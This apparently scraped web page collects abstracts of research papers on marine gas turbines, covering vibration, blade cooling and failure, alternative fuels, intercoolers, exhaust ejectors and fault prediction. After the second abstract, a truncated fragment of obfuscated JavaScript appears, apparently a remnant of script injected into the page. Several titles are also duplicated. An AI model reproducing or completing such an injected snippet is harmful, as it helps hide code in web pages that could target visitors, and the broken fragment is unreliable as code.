Marine Gas Turbine Research Articles

ИССЛЕДОВАНИЕ ВИБРАЦИИ ГАЗОПЕРЕКАЧИВАЮЩИХ АГРЕГАТОВ С СУДОВЫМ ГАЗОТУРБИННЫМ ПРИВОДОМ

The operation reliability of power units is defined to a great extent by their vibration state, where a basic source of exciting effects is shafting.
 For the thorough analysis of a vibration state of turbine units the special vibroacoustic investigations are necessary in the course of which there are must be defined: characters of vibration processes, increased vibration reasons, phenomena promoting the intensification of vibration processes in power units.
 With the purpose of systematization and accu-mulation of such materials there were carried out in-vestigations of vibro-activity of gas-compressor units (GCU) with marine gas turbine drive and working at compressor plants of gas-main pipelines. The plant of GPA-16MG90 type with the power of 16MWt was an object of investigations, where a marine convertible DG-90 manufactured by production company “Zarya” was used as a drive for a natural gas super-charger of 370-18-1 NZL type. 
 The results of measuring indicate the necessity for taking measures to eliminate an increase vibration of a supporting – thrust bearing of the supercharger and gas turbine engine of DG type.

Integration of energy systems in gas turbine-driven compressor packages for gas and oil industry

The paper highlights the recent trends in development of gas turbine driven turbo-compressor packages for gas and oil industries and the main issues to be solved during the integration of their energy systems. The key features of aero-derivative and marine gas turbines as well as ways of their further improvement are described in the beginning of the paper. It is noted that modern aero-derivative and marine gas turbines for mechanical drive should combine the design features of industrial gas turbines and high efficient airfoil configurations of gas turbines for airborne applications. One of the most important problems being considered during the development of a high efficient turbocompressor unit is the performance match between the gas turbine and turbocompressor. The special method of matching their characteristics is briefly presented in this paper. This method is based on the evaluation of the integral turbocompressor unit efficiency and the criterion fuel efficiency. Finally some of the aspects of the development of acoustic enclosures, ventilation and exhaust systems of the turbocompressor packages as well as perspectives of the development of combo units for electric generation, cogeneration and refrigeration are presented. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o

Thermodynamic analysis of alternative marine fuels for marine gas turbine power plants

The marine shipping industry faces challenges to reduce engine exhaust emissions and greenhouse gases (GHGs) from ships, and in particular, carbon dioxide. International regulatory bodies such as the International Maritime Organization and National Environmental Agencies of many countries have issued rules and regulations to drastically reduce GHG and emissions emanating from marine sources. This study investigates the possibility of using natural gas and hydrogen as alternative fuels to diesel oil for marine gas turbines and uses a mathematical model to assess the effect of these alternative fuels on gas turbine thermodynamic performance. Results show that since natural gas is categorized as a hydrocarbon fuel, the thermodynamic performance of the gas turbine cycle using natural gas was close to that of the diesel case. However, the gas turbine thermal efficiency was found to be slightly lower for natural gas and hydrogen fuels compared to diesel fuel.

An investigation and comparative analysis on marine gas turbine rotor blade with cooling holes using FEA

An investigation and comparative analysis on marine gas turbine rotor blade with cooling holes using FEA

An investigation and comparative analysis on marine gas turbine rotor blade with cooling holes using FEA

Cooling technology plays a critical role in operating the turbine blade at elevated temperature. The aim of this research work is to keep the entire blade cool enough and thus maintaining the temperature gradients within the blade to an acceptable level. Several cooling techniques have been proposed for the cooling of turbine blades and one such technique is to have radial holes to pass high velocity cooling air along the blade span. Four different models have been developed consisting of a solid blade and blades with varying number of holes. These models have been designed using CATIA and analysed using ANSYS 14.5. Two turbine blade materials namely INCONEL X-750 and NIMONIC-105 have been chosen for comparative analysis. It has been found that NIMONIC-105 might be better suited material for turbine blades. From the analysis, it has been found that the temperature distribution, Von-Misses stress and total deformation are within the safe limits and are optimum for the turbine blade with 13 holes made of NIMONIC-105.

Inlet Air Fogging of Marine Gas Turbine in Power Output Loss Compensation

Abstract The use of inlet air fogging installation to boost the power for gas turbine engines is widely applied in the power generation sector. The application of fogging to mechanical drive is rarely considered in literature [1]. This paper will cover some considerations relating to its application for gas turbines in ship drive. There is an important evaporative cooling potential throughout the world, when the dynamic data is evaluated, based on an analysis of coincident wet and dry bulb information. This data will allow ships’ gas turbine operators to make an assessment of the economics of evaporative fogging. The paper represents an introduction to the methodology and data analysis to derive the direct evaporative cooling potential to be used in marine gas turbine power output loss compensation.

An Evaluation of the Application of Nanofluids in Intercooled Cycle Marine Gas Turbine Intercooler

Coolant is one of the important factors affecting the overall performance of the intercooler for the intercooled (IC) cycle marine gas turbine. Conventional coolants, such as water and ethylene glycol, have lower thermal conductivity which can hinder the development of highly effective compact intercooler. Nanofluids that consist of nanoparticles and base fluids have superior properties like extensively higher thermal conductivity and heat transfer performance compared to those of base fluids. This paper focuses on the application of two different water-based nanofluids containing aluminum oxide (Al2O3) and copper (Cu) nanoparticles in IC cycle marine gas turbine intercooler. The effectiveness-number of transfer unit method is used to evaluate the flow and heat transfer performance of intercooler, and the thermophysical properties of nanofluids are obtained from literature. Then, the effects of some important parameters, such as nanoparticle volume concentration, coolant Reynolds number, coolant inlet temperature, and gas side operating parameters on the flow and heat transfer performance of intercooler, are discussed in detail. The results demonstrate that nanofluids have excellent heat transfer performance and need lower pumping power in comparison with base fluids under different gas turbine operating conditions. Under the same heat transfer, Cu–water nanofluids can reduce more pumping power than Al2O3–water nanofluids. It is also concluded that the overall performance of intercooler can be enhanced when increasing the nanoparticle volume concentration and coolant Reynolds number and decreasing the coolant inlet temperature.

Study of New Exhaust Ejector for Marine Gas Turbine

With the development at infrared guidance weapon, the survival of the ship, especially in high risk areas, is facing serious challenges. In order to improve its survival ability, infrared suppression system emerges. Marine gas turbine exhaust ejector system is its core component, which is responsible for reducing or even eliminating the infrared radiation signal of marine gas turbine exhaust system. Based on collecting data on many sorts of ejectors, we sort out literature related to gas turbine exhaust ejector. From the view of ejector structure, the paper briefly describes the development of gas turbine exhaust ejector used on ships in domestic and foreign. Put forward two major structural innovations: the structure of nozzle changes from circular to rectangular and diffuser adopts multilevel structure. A new type of marine gas turbine exhaust ejector was designed. Ejector model is simplified. Use numerical simulation method to predict the single-stage ejector and multistage ejectors. Further structural optimization plan and design can be made based on this essay.

舶用ガスタービンコンバインドサイクルのシステム検討

舶用ガスタービンコンバインドサイクルのシステム検討

INFLUENCE OF THE INCORRECT SETTINGS OF AXIAL COMPRESSOR INLET VARIABLE STATOR VANES ON GAS TURBINE ENGINE WORK PARAMETERS

The paper deals with the problem of influence of changes variable stator vanes axial compressor settings of gas turbine engine on work parameters of compressor and engine. Incorrect operation of change setting system of variable vanes could make unstable work of compressor and engine. This paper presents theoretical analysis of situation described above and results of own research done on real engine. When in the compressor construction there is assembled system of setting change of variable stator vanes its task is to make optimal cooperation engine units during the permanent improvement of compressor characteristic. Perturbations in the operation of this system could cause changes in work of compressor and engine similarly as in the case of changes caused by changes of rotational speed or polluted interblades ducts of compressor. The purpose of investigations, which was carried out on real engine was determination influence of incorrect operation of axial compressor inlet guide variable stator vanes control system of gas turbine engine on compressor and engine work parameters. The object of research is type DR 77 marine gas turbine engine, which is a part of power transmission system of war ship. In compressor construction configuration of this engine there are used inlet guide stator vanes which make possibilities to change the setting angle incidance (change of compressor flow duct geometry) in depend on engine load. On the base of results of experiment there were determined the mathematical equations modelling the changes of particular engine work parameters in the function of variable inlet guide stator vanes setting angle.

Selection of a Suitable Material and Failure Investigation on a Turbine Blade of Marine Gas Turbine Engine using Reverse Engineering & FEA Techniques

Turbine blades are considered to be the heart of turbine and play a vital role in extracting energy from high temperature and high pressure gases. Without blades there would be no power and the slightest fault in blading would mean a reduction in efficiency and costly repairs. In this regard, an attempt has been made to analyze the failed marine gas turbine blade. Static structural and Steady state thermal analyses have been analyzed using ANSYS 14.5 to predict the probable conditions which leads blade failure. To investigate the causes of high pressure temperature (HPT) turbine blade failures, a turbine blade of 30 MW gas turbine engine intended for operation onboard ship has been considered for the analysis. Before failure, this gas turbine blade was operated for about 10000 hours while its service life was expected to be around 15000 hours. To improve the life time of a blade, prediction of failure criteria has been analyzed. In addition, a comparative analysis has also been made to determine the strength and suitability of a HPT blade made of Nickel based super alloy X under examination. This material has been compared with other two materials such as Nimonic alloy 80A and Inconel 625. Based on the results of comparative study, it is concluded that Nickel based super alloy X can be a suitable material for the manufacturing of gas turbine blades.

Hot Corrosion Behavior of Superalloy in Different Corrosive Environments

Hot corrosion is a serious problem in aircraft, marine, industrial and land-base gas turbines. To obviate these problems, superalloy superfer 800H (Midhani grade) is one of the prominent materials for the high temperature applications. The present work investigates hot corrosion behaviour of superfer 800H exposed to two different molten salt environments Na2SO4 + 60% V2O5 and Na2SO4 + 5% V2O5 + 5% NaCl respectively, at 900oC under cyclic conditions. The weight change measurements made on during the experiments are used to determine the kinetics of hot corrosion. It is observed that the formation of scale rich in Cr2O3, NiO and spinel NiCr2O4 has contributed for the better hot corrosion resistance of superfer 800H. Inspection for 10, 20, 35 and 50 cycles reveals that after 10 cycles Crack has been initiated in the scale and it is clearly visible in the presence of NaCl salt. On subsequent cycles, crack propagates perpendicular to surface and as it encounters inclusions.

Multi-Stage Ejector Design and Numerical Simulation for Marine Gas Turbine

With the continuous development of infrared-guided weapons, the survival of ship at sea faces increasingly challenges especially high-risk waters. The ship gas turbine exhaust ejector is the core component parts, charged with the task of reducing or even eliminating the infrared radiation signal of ship gas turbine exhaust systems. In the designing of exhaust ejector, structure forms of nozzle have a big influence on its ejector effect. Making a rational design of nozzle, which working in a narrow space, to reduce the exhaust temperature effectively while minimizing the impact of flow of gas turbine body has always been a focus and difficulty. In this article, a multistage ejector is designed by adding a second-stage ejector section based on an independent design of single-stage ejector.

Mechanical Analysis of 1st Stage Marine Gas Turbine Blade

Turbine blades of a gas turbine are responsible for extracting energy from the high temperature, high pressure gases. These blades are operated at elevated temperatures in aggressive environments and are subjected to large centrifugal forces. As many as 42 percent of the failures in gas turbine engines were only due to blading problems and the failures in these turbine blades can have dramatic effect on the safety and performance of the gas turbine engine. In this research paper, an attempt has been made to analyze the failure of gas turbine blade through Mechanical analysis. The blade under investigation belongs to a 30 MW gas turbine engines used in marine applications and is made of Nickel-Base superalloys. Before failure, the turbine blade was operated for about 10000 hours while its service life was expected to be around 15000 hours. Mechanical analysis has been carried out assuming that there might be failure in the blade material due to blade operation at elevated temperature and subjected to large centrifugal forces. The gas turbine blade model profile is generated by using CATIA V5R21software. The turbine blade is analyzed for its thermal as well as structural performance. It was observed that there was no evidence of rubbing marks on the tip section of turbine blade indicating the elongation of the blade is within the safe limit. Maximum stresses and strains are observed near to the root of the turbine blade and upper surface along the blade roots. Maximum temperatures are observed at the blade tip sections and minimum temperature at the root of the blade. Temperature distribution is decreasing from the tip to the root of the blade section. The temperatures observed are below the melting temperature of blade material.

Whisper and Roar

This article focuses on the use of gas turbines for electrical power, mechanical drive, and marine applications. Marine gas turbines are used to generate electrical power for propulsion and shipboard use. Combined-cycle electric power plants, made possible by the gas turbine, continue to grow in size and unmatched thermal efficiency. These plants combine the use of the gas turbine Brayton cycle with that of the steam turbine Rankine cycle. As future combined cycle plants are introduced, we can expect higher efficiencies to be reached. Since almost all recent and new U.S. electrical power plants are powered by natural gas-burning, high-efficiency gas turbines, one has solid evidence of their contribution to the greenhouse gas reduction. If coal-fired thermal power plants, with a fuel-to-electricity efficiency of around 33%, are swapped out for combined-cycle power plants with efficiencies on the order of 60%, it will lead to a 70% reduction in carbon emissions per unit of electricity produced.

Fault Prediction Method of the Marine Gas Turbine Based on Neural Network-Markov

Since the fault of marine gas turbine is difficult to predict accurately, making the rolling bearing as the specific object, a fault prediction model of the marine gas turbine based on Neural Network and Markov method is built through the data analysis, preprocessing and feature extraction for the rolling bearing history test data. First, it uses the neural network method to realize the health state recognition of the marine gas turbine. Then, the fault of the marine gas turbine is predicted by taking advantage of the fault prediction which is based on the Markov model. The results show that the efficiency of fault prediction for the marine gas turbine can be realized better through the fault prediction model constructed in view of the Neural Network and Markov. And it also has a significant practical value in project item.

The Research on Characteristics of a New Type of Marine Gas Turbine Exhaust Ejector Device

Marine gas turbine exhaust ejector device is responsible for reducing or eliminating the infrared signatures of exhaust system. In order to optimize the structure of exhaust ejector and shorten the cycle of research, it is essential to study the successful experiences on exhaust ejectors by scholars abroad. In this article two structure innovations were introduced: the nozzle structure changing from circular to rectangular and multi-stage diffuser, then a new type of marine gas turbine exhaust ejector was designed. Through simplifying the ejector model, numerical simulation was used to predict the characteristics of both the single-stage ejector and the multi-stage ejector. The result indicates the effects of structural parameters on the performance parameters. This research result has certain reference value for marine gas turbine exhaust ejector structure innovations and performance optimization.

Dynamic Time-Delay Characteristics and Structural Optimization Design of Marine Gas Turbine Intercooler

Aiming at the rapid mobility of marine gas turbine and the dynamic time-delay problem of intercooler for intercooled cycle marine gas turbine, the dynamic simulation model of intercooler was set up based on effectiveness-number of transfer units (ε-NTU) and lumped parameter method in this paper. The model comprehensively considers related physical properties dependent on temperature. Dynamic response characteristics of gas outlet temperature and pressure and coolant outlet temperature of intercooler with different materials and coolants in the change of operation condition of marine gas turbine were analyzed in detail. Besides, this paper explored the use of simulated annealing algorithm for structural optimization of intercooler. The results showed that both material and coolant were the significant factors that affected the heat transfer and dynamic performance of intercooler. The heat transfer and dynamic performance of the intercooler obtained by using simulated annealing algorithm were better than those of preliminary design.

Environmental analysis of present and future fuels in 2D simple model marine gas tubines

Increased worldwide concerns about fossil fuel costs and effects on the environment lead many governments and scientific societies to consider the hydrogen as the fuel of the future. Many researches have been made to assess the suitability of using the hydrogen gas as fuel for internal combustion engines and gas turbines; this suitability was assessed from several viewpoints including the combustion characteristics, the fuel production and storage and also the thermodynamic cycle changes with the application of hydrogen instead of ordinary fossil fuels. This paper introduces the basic environmental differences happening when changing the fuel of a marine gas turbine from marine diesel fuel to gaseous hydrogen for the same power output. Environmentally, the hydrogen is the best when the CO 2 emissions are considered, zero carbon dioxide emissions can be theoretically attained. But when the NO x emissions are considered, the hydrogen is not the best based on the unit heat input. The hydrogen produces 270% more NO x than the diesel case without any control measures. This is primarily due to the increased air flow rate bringing more nitrogen into the combustion chamber and the increased combustion temperature (10% more than the diesel case). Efficient and of course expensive NO x control measures are a must to control these emissions levels.

Steady-State and Transient Investigation of the Primary Surface Recuperator for Microturbines

The aim of this work is to study numerically and experimentally the thermal performance of the primary surface recuperator (PSR) operating under steady and transient conditions. Numerical simulations are carried out to investigate the heat transfer characteristics in the corrugated passages of the primary surface recuperator. The effects of velocity, intersection angle, and pitch-to-height ratio are considered. Numerical simulation of the transient behavior of the PSR is performed as its mass flow rate or hot inlet temperature is subject to a sudden change, which is based on the conservation theorem of energy and its structural characteristics. One prototype of a PSR for experimental purposes has been designed and manufactured, and is used in an experimental setup to carry out the experimental studies. The comparative results show that the low-weight PSR has much more advantages in transient response because its time constant of the solid wall is much less than that of a shell-and-tube recuperator or plate-fin recuperator. The PSR is quite fit for application to the marine or vehicle gas turbine engine that works under changeable conditions.